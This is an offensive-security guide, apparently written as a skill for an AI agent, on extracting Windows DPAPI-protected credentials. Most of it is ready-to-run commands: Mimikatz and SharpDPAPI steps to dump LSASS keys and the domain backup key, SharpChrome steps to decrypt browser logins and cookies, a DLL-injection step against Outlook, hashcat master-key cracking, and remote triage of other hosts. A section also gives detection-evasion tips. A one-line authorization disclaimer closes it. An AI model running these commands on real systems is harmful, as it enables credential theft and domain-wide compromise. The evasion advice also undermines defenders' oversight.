DPAPI Credential Extraction

A comprehensive guide for extracting and decrypting Windows DPAPI-protected credentials and secrets. This skill covers master key extraction, credential decryption, browser credential access, and offline analysis workflows.

Quick Start

For current user session (no password needed):

SharpDPAPI.exe triage /unprotect

For offline analysis with password/hash:

SharpDPAPI.exe triage /target:C:\path\to\credentials /password:USER_PASSWORD
# or
SharpDPAPI.exe triage /target:C:\path\to\credentials /ntlm:NTLM_HASH

For Chrome/Edge cookies:

SharpChrome cookies /browser:chrome /unprotect

Understanding DPAPI

What is DPAPI

The Data Protection API (DPAPI) encrypts data using keys derived from user credentials or system secrets. Key concepts:

• User keys: Derived from user's NTLM hash (SHA1-based)
• Master keys: Generated per encryption operation, stored in

  %APPDATA%\Microsoft\Protect\<SID>\<GUID>

• Machine keys: Based on

  DPAPI_SYSTEM

  LSA secret, accessible only locally
• Entropy: Optional third parameter some apps use (Outlook, VPN clients, etc.)

Key Storage Locations

User master keys:

C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>
C:\Users\<username>\AppData\Local\Microsoft\Protect\<SID>\<GUID>

Credential blobs:

C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\<hex>
C:\Users\<username>\AppData\Local\Microsoft\Credentials\<hex>

Vault data:

C:\Users\<username>\AppData\Roaming\Microsoft\Vault\<SID>\<GUID>

Master Key Extraction Methods

Method 1: Domain Backup Key (Domain Admin)

If you have domain admin access, extract the domain backup key to decrypt all user master keys:

# Mimikatz
mimikatz lsadump::backupkeys /system:<DC_IP> /export

# SharpDPAPI
SharpDPAPI.exe backupkey /server:DC.domain /file:key.pvk

Method 2: LSASS Memory Dump (Local Admin)

Extract DPAPI keys from LSASS memory:

# Mimikatz - extracts all logged-on users' DPAPI keys
mimikatz sekurlsa::dpapi

# Output includes credkey (SHA1) for each user session

Method 3: User Password/Hash

If you know the user's password or NTLM hash:

# Mimikatz with password
mimikatz dpapi::masterkey /in:<MASTERKEY_PATH> /sid:<USER_SID> /password:<PASSWORD>

# Mimikatz with NTLM hash
mimikatz dpapi::masterkey /in:<MASTERKEY_PATH> /sid:<USER_SID> /ntlm:<HASH>

# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
SharpDPAPI.exe masterkeys /ntlm:HASH

Method 4: RPC to Domain Controller

If user is logged in and you have local admin:

# Mimikatz
mimikatz dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

Method 5: Machine/System Keys

For machine-scoped data (scheduled tasks, Wi-Fi, services):

# Mimikatz - requires SYSTEM or admin with DACL modification
mimikatz lsadump::secrets

# Offline from registry hives
reg save HKLM\SYSTEM C:\Temp\system.hiv
reg save HKLM\SECURITY C:\Temp\security.hiv
mimikatz lsadump::secrets /system:C:\Temp\system.hiv /security:C:\Temp\security.hiv

Credential Decryption Workflows

Workflow 1: Current User Session (Easiest)

No password needed - uses current session:

# Full triage (credentials, vaults, RDC, certificates)
SharpDPAPI.exe triage /unprotect

# Specific credential types
SharpDPAPI.exe credentials /unprotect
SharpDPAPI.exe vaults /unprotect
SharpDPAPI.exe rdg /unprotect
SharpDPAPI.exe keepass /unprotect
SharpDPAPI.exe certificates /unprotect

Workflow 2: Offline with Password/Hash

You have the master key file and user credentials:

# Using password
SharpDPAPI.exe triage /target:C:\Users\bob\AppData\Roaming\Microsoft\Protect\<SID> /password:UserPass123

# Using NTLM hash
SharpDPAPI.exe triage /target:C:\Users\bob\AppData\Roaming\Microsoft\Protect\<SID> /ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117af069bb29b29b29b

# Using domain backup key
SharpDPAPI.exe triage /target:C:\Users\bob\AppData\Roaming\Microsoft\Protect\<SID> /pvk:domain_backup.pvk

Workflow 3: Impacket (Python, Cross-Platform)

For offline analysis on Linux/macOS:

# Step 1: Decrypt master key
python3 dpapi.py masterkey -file <GUID_FILE> -sid S-1-5-21-XXX-XXX-XXX-1001 -password 'UserPassword'
# or
python3 dpapi.py masterkey -file <GUID_FILE> -sid S-1-5-21-XXX-XXX-XXX-1001 -key 0x<NTLM_HASH>

# Step 2: Decrypt credential blob
python3 dpapi.py credential -file <CREDENTIAL_FILE> -key 0x<MASTERKEY_HEX>

Workflow 4: Using Credkey from LSASS

If you dumped LSASS and have the credkey (SHA1):

# SharpDPAPI
SharpDPAPI.exe triage /credkey:SHA1_HEX_VALUE

# SharpChrome
SharpChrome logins /browser:edge /prekey:SHA1_HEX_VALUE

Browser Credential Extraction

SharpChrome Quick Commands

Current user, interactive:

# Logins
SharpChrome logins /browser:chrome /unprotect
SharpChrome logins /browser:edge /unprotect
SharpChrome logins /browser:firefox /unprotect

# Cookies
SharpChrome cookies /browser:chrome /format:csv /unprotect
SharpChrome cookies /browser:edge /format:json /unprotect

Offline with Local State file:

# Extract AES state key from Local State
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect

# Use state key to decrypt cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json

Remote with domain backup key:

SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins /server:HOST01 /browser:chrome /pvk:key.pvk

Chrome 127+ App-Bound Cookies

Newer Chrome versions use additional app-bound encryption:

# Run as target user to auto-resolve app-bound key
SharpChrome cookies /browser:chrome /unprotect

# Offline requires both DPAPI masterkey AND app-bound key from Credential Manager

Handling Entropy (Third-Party Entropy)

Some applications (Outlook, VPN clients) use custom entropy:

Capture Entropy with EntropyCapture

# Inject into target process
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll

# Decrypt with captured entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<HASH>

Zscaler Case Study

Zscaler uses custom entropy derived from SID + hardcoded secret:

// Entropy = XOR(hardcoded_secret, SID) then XOR halves together
byte[] entropy = RebuildEntropy(secret, sid);
byte[] clear = ProtectedData.Unprotect(blob, entropy, DataProtectionScope.LocalMachine);

Master Key Cracking

Hashcat Modes (v6.2.6+)

• 22100: DPAPI masterkey v1 context 0
• 22101: DPAPI masterkey v1 context 1
• 22102: DPAPI masterkey v1 context 3 (Windows 10 1607+)

Using DPAPISnoop

# Parse master keys and generate hashcat format
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc

# Crack with hashcat
hashcat -m 22102 bob.hc wordlist.txt -O -w4

# Auto-decrypt with cracked keys
DPAPISnoop.exe credential-decrypt C:\Users\bob\AppData\Roaming\Microsoft\Credentials\<file> --masterkey <cracked_key>

Remote Operations

SharpDPAPI Remote Triage

# Requires admin access + domain backup key or password
SharpDPAPI.exe triage /server:TARGET_HOST /pvk:BASE64
SharpDPAPI.exe triage /server:TARGET_HOST /password:ADMIN_PASSWORD

SharpChrome Remote

SharpChrome cookies /server:TARGET_HOST /browser:edge /pvk:BASE64
SharpChrome logins /server:TARGET_HOST /browser:chrome /pvk:key.pvk

Detection Evasion Considerations

Common Detections

• File access to

  Microsoft\Protect\*

  ,

  Microsoft\Credentials\*

• LSASS memory access (Mimikatz, procdump)
• Event 4662: Access to BCKUPKEY object
• Event 4673/4674: SeTrustedCredManAccessPrivilege
• Tool signatures (Mimikatz, SharpDPAPI)

Mitigation Strategies

• Use legitimate tools (SharpDPAPI is .NET, less suspicious than Mimikatz)
• Run from memory where possible
• Time operations during normal business hours
• Use domain backup key to avoid LSASS access
• Consider Impacket for cross-platform (no Windows tools needed)

Tool Reference

SharpDPAPI Options

Decryption:
  /unprotect          - Use CryptUnprotectData() (current session)
  /pvk:FILE           - Domain backup key file
  /pvk:BASE64         - Base64 domain backup key
  /password:X         - Plaintext password
  /ntlm:X             - NTLM hash
  /credkey:X          - DPAPI credkey (SHA1)
  /rpc                - Query domain controller
  /entropy:FILE       - Custom entropy file
  /mkfile:FILE        - GUID:SHA1 masterkey pairs

Targeting:
  /target:FILE/folder - Specific file or folder
  /server:HOST        - Remote server (requires admin)

Commands:
  credentials, vaults, rdg, keepass, certificates, triage, blob, ps, masterkeys, backupkey, machinetriage

Mimikatz DPAPI Commands

dpapi::masterkey /in:FILE /sid:SID /password:PASS /ntlm:HASH /rpc
dpapi::cred /in:FILE /masterkey:KEY
dpapi::blob /in:FILE /unprotect /entropy:FILE
sekurlsa::dpapi
lsadump::backupkeys /system:DC /export
lsadump::secrets

Impacket dpapi.py

# Master key decryption
dpapi.py masterkey -file <GUID> -sid <SID> -password <PASS> | -key 0x<HASH>

# Credential decryption
dpapi.py credential -file <CRED> -key 0x<MASTERKEY>

Common Scenarios

Scenario 1: You have local admin, user is logged in

# Best: Use LSASS credkey
mimikatz sekurlsa::dpapi
# Copy credkey, then:
SharpDPAPI.exe triage /credkey:SHA1_HEX

Scenario 2: You have user password/hash, offline

# Find master key files
Get-ChildItem C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>

# Decrypt with password
SharpDPAPI.exe triage /target:C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID> /password:PASSWORD

Scenario 3: Domain admin, want all users

# Get domain backup key
SharpDPAPI.exe backupkey /server:DC.domain /file:backup.pvk

# Decrypt all users
SharpDPAPI.exe triage /pvk:backup.pvk

Scenario 4: Chrome cookies, offline analysis

# Extract state key
SharpChrome statekeys /target:"C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State" /unprotect

# Decrypt cookies
SharpChrome cookies /target:"C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:HEX_KEY /format:json

Safety and Legal Considerations

⚠️ Only use these techniques on systems you own or have explicit authorization to test.

• Unauthorized credential extraction is illegal
• Document all authorization before testing
• Follow responsible disclosure if finding vulnerabilities
• Be aware of data privacy regulations (GDPR, etc.)

References

• SharpDPAPI GitHub
• Impacket dpapi.py
• DPAPISnoop
• EntropyCapture
• DonPAPI 2.x
• CVE-2023-36004
• Chrome App-Bound Cookies